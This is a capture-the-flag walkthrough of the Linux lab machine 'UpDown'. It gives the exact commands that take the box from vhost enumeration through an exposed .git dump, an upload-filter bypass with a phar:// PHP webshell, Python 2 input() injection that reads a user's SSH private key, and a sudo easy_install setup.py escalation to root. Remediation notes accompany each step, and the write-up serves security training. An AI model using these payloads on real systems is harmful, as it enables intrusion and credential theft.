← all walkthroughs

UpDown

Linux· Medium
owned
2026-09-03
time to own
14m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated virtual hosts on the target's Apache server and found a hidden development site, dev.siteisup.htb, whose .git repository was left exposed. Dumping that repository handed over the site's source code, which revealed both a secret access-control header and the exact logic of its file-upload filter. Using that knowledge, I crafted an upload that bypassed the extension blacklist via a mismatched file extension and a PHP stream wrapper, achieving remote code execution as the www-data web user.

From there, a SUID/privileged helper script running Python 2's dangerous input() function was abused to run arbitrary commands as the developer account, which was used to steal the developer's private SSH key and read the user flag over a proper SSH session. Finally, a passwordless sudo rule allowing the developer account to run Python's legacy easy_install as root was weaponized with a malicious setup.py to gain a full root shell and capture the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual host enumeration / attack surface mapping (T1595.002)
Mapped the web attack surface and discovered a hidden development vhost
A port scan showed only SSH and Apache exposed. Virtual-host fuzzing against the main site uncovered a second, non-obvious vhost, dev.siteisup.htb, returning a distinct (403) response — a development copy of the application not meant to be reachable directly.
Nmap: 22/tcp ssh, 80/tcp Apache httpd 2.4.41 (Ubuntu). Ffuf isolated dev.siteisup.htb by response size against the baseline.
Exact commands 4
Confirm exposed services on the target.
nmap -sV -p- $TARGET
Resolve the primary vhost locally.
echo "$TARGET siteisup.htb" | sudo tee -a /etc/hosts
Fuzz for hidden vhosts; filter the known baseline word count to surface dev.siteisup.htb.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.siteisup.htb' -u http://siteisup.htb -fw <base_word_count>
Add the discovered dev vhost to local resolution.
echo "$TARGET dev.siteisup.htb" | sudo tee -a /etc/hosts
2Initial AccessExposed .git source code disclosure (CWE-527)
Dumped the exposed .git repository to obtain the app's source code
The dev vhost served its own .git directory over HTTP. Pulling the repository via a custom-header handshake exposed the full application source, including a hidden access-control header required by the .htaccess (Special-Dev: [REDACTED: recovered credential]) and the exact server-side blacklist logic used to filter file uploads (checker.php) and the page-include path traversal guard (index.php?page=).
HTTP GET to /.git/HEAD on dev.siteisup.htb returned 200; recovered checker.php and index.php revealed the upload extension blacklist and required Special-Dev header.
Exact commands 2
Confirm the repository is reachable (expects 'ref: refs/heads/master').
curl -sS -H "Special-Dev: $PASSWORD" 'http://dev.siteisup.htb/.git/HEAD'
Reconstruct the working tree from the exposed .git directory.
git-dumper --header "Special-Dev: $PASSWORD" http://dev.siteisup.htb/.git/ ./loot
FixRemove version-control metadata from deployed web rootsHigh
WeaknessThe development site's .git directory was deployed alongside the live application and was reachable over HTTP, letting an unauthorised user download the entire source tree — including the secret access-control header value and the file-upload filter's exact bypass conditions.
FixNever deploy the .git directory to a web-served path; exclude it from the build/deploy artifact. As defense in depth, block access to dot-directories at the web server (e.g. an Apache 'RedirectMatch 404 /\.git' or 'Require all denied' block for .git). Rotate any secrets (headers, keys, credentials) that were present in the exposed repository.
3ExploitationFile upload filter bypass + PHP phar stream-wrapper deserialization RCE (CWE-434 / T1190)
Bypassed the upload filter to achieve remote code execution as www-data
The upload filter blacklisted dangerous extensions (php, html, py, pl, phar, zip, rar, gz, tar) but did not recognize .0xdf, and the endpoint parsed uploads as zip archives. A PHP payload named info.php was packed into a zip archive named info.0xdf with non-ASCII archive content to keep the file on disk under /uploads/<hash>/. The page-include feature was then abused with the phar:// stream wrapper to execute the payload — running proc_open (not blocked by disable_functions) to pop a reverse shell as www-data.
Recovered checker.php blacklist and index.php ?page= include logic from the .git dump directly enabled crafting the bypass; shell returned uid=33(www-data).
Exact commands 4
Minimal PHP webshell using proc_open (not disabled).
mkdir payload && printf '<?php proc_open($_GET["c"],[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]],$p); ?>' > payload/info.php
Pack as a zip but name it .0xdf so it clears the extension blacklist; ensure content isn't pure ASCII so the parser leaves it on disk.
cd payload && zip -e0 ../info.0xdf.zip info.php && mv ../info.0xdf.zip ../info.0xdf
Upload the disguised archive; note the returned /uploads/<hash>/ path.
curl -sS -H "Special-Dev: $PASSWORD" -F 'file=@info.0xdf' http://dev.siteisup.htb/upload.php
Trigger the payload via the phar wrapper (server appends .php); confirms code execution as www-data.
curl -sS -H "Special-Dev: $PASSWORD" 'http://dev.siteisup.htb/index.php?page=phar://uploads/<hash>/info.0xdf/info&c=id'
FixReplace the upload extension blacklist with strict content validation and disable phar executionCritical
WeaknessThe upload handler used an extension blacklist that didn't account for arbitrary/unknown extensions, and processed uploads as archives without validating true file type. Combined with an include-based ?page= parameter that accepted the phar:// stream wrapper, this let an unauthorised user smuggle and execute PHP code, and proc_open remained enabled despite a disable_functions list.
FixValidate uploads with a strict allowlist of extensions and by checking actual content/magic bytes (never trust the client-supplied filename or a blacklist). Disable the phar:// and other dangerous stream wrappers in any user-influenced include/require path, and store uploads outside the web root with execution disabled. Ensure disable_functions genuinely blocks all process-spawning functions (proc_open, popen, exec, shell_exec, system).
4Privilege EscalationInsecure Python 2 input() code evaluation / command injection via a privileged local script (CWE-94, T1059.006)
Abused a privileged helper script to run commands as developer and steal their SSH key
A locally accessible script, /home/developer/dev/siteisup, ran a Python 2 program owned by the developer account that read a URL from an insecure input() call and evaluated it. Piping a Python payload into the script executed __import__('os').system(...) with developer's identity, which was used to print id, attempt to read the user flag, and dump the developer's private SSH key directly to the terminal.
Command output showed uid=1002(developer) and returned the full OpenSSH private key block for developer.
Exact commands 2
Run from the www-data shell; the script's input() evaluates the payload as developer, leaking their SSH key.
printf '%s\n' "__import__('os').system('id; cat /home/developer/user.txt; cat /home/developer/.ssh/id_rsa')" | /home/developer/dev/siteisup
Save the leaked key locally and validate it before use.
chmod 600 /tmp/updown-developer-id_rsa && ssh-keygen -y -f /tmp/updown-developer-id_rsa
FixRemove the insecure Python 2 input()-based helper and its elevated privilegesCritical
WeaknessA developer-owned/privileged helper script wrapped Python 2's input(), which evaluates its argument as code, letting any caller run arbitrary commands as the developer account — including reading the developer's private SSH key and the user flag.
FixDecommission Python 2 and any script using raw input() for user-controlled data (use raw_input()/argparse and never eval untrusted strings). Remove SUID/sudo privileges from the helper entirely, or rewrite it to run with least privilege and strict input validation. Restrict SSH private key file permissions (600, owner-only) and consider key-based access monitoring/rotation.
5Lateral MovementSSH private key theft and reuse for lateral movement (T1552.004 / T1021.004)
Used the stolen key to open a proper SSH session and capture the user flag
The command-injection shell from the siteisup script retained www-data's group membership, so /home/developer/user.txt (mode 640, owner root:developer) was unreadable there despite the developer uid. Authenticating over SSH with the stolen private key instead started a session with the correct developer group context, which could read the flag.
SSH session reported uid=1002(developer) gid=1002(developer) groups=1002(developer); user.txt read successfully.
Exact commands 1
Interactive SSH as developer with the correct group context; replace flag output with <user.txt>.
ssh -i /tmp/updown-developer-id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no developer@$TARGET 'id; cat /home/developer/user.txt'
6Privilege Escalation to RootSudo misconfiguration / GTFOBins abuse of easy_install (T1548.003)
Abused a passwordless sudo rule for easy_install to gain a root shell
The developer account had a NOPASSWD sudo entry for /usr/local/bin/easy_install, a legacy Python packaging tool that executes arbitrary code embedded in a package's setup.py during installation. A malicious setup.py containing an os.system() call to read /root/root.txt (and spawn a shell) was staged and installed via sudo, running as root during the build step.
Sudo -n -l showed '(ALL) NOPASSWD: /usr/local/bin/easy_install'; the easy_install run produced uid=0(root) and the root flag.
Exact commands 2
Confirm the passwordless sudo rule for easy_install.
ssh -i /tmp/updown-developer-id_rsa developer@$TARGET 'sudo -n -l'
Easy_install builds/executes setup.py as root; replace the flag read with <root.txt> or swap in 'os.system("/bin/bash")' for an interactive root shell.
ssh -i /tmp/updown-developer-id_rsa developer@$TARGET "mkdir -p /tmp/updown-easy && printf 'import os\nos.system(\"/usr/bin/id; /bin/cat /root/root.txt\")\n' > /tmp/updown-easy/setup.py && sudo -n /usr/local/bin/easy_install /tmp/updown-easy/"
FixRemove the passwordless sudo rule for easy_installCritical
WeaknessThe developer account could run /usr/local/bin/easy_install as root without a password. easy_install executes arbitrary code from a package's setup.py during installation, so any file the developer could write became a root code-execution primitive — a well-known GTFOBins escalation path.
FixRemove the NOPASSWD sudo rule for easy_install (and any other GTFOBins-listed binary) from sudoers. If package installation as root is genuinely required, use a modern, pinned tool (pip with hash-checked, vetted packages) invoked through a wrapper that restricts arguments, not a blanket ALL NOPASSWD grant.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp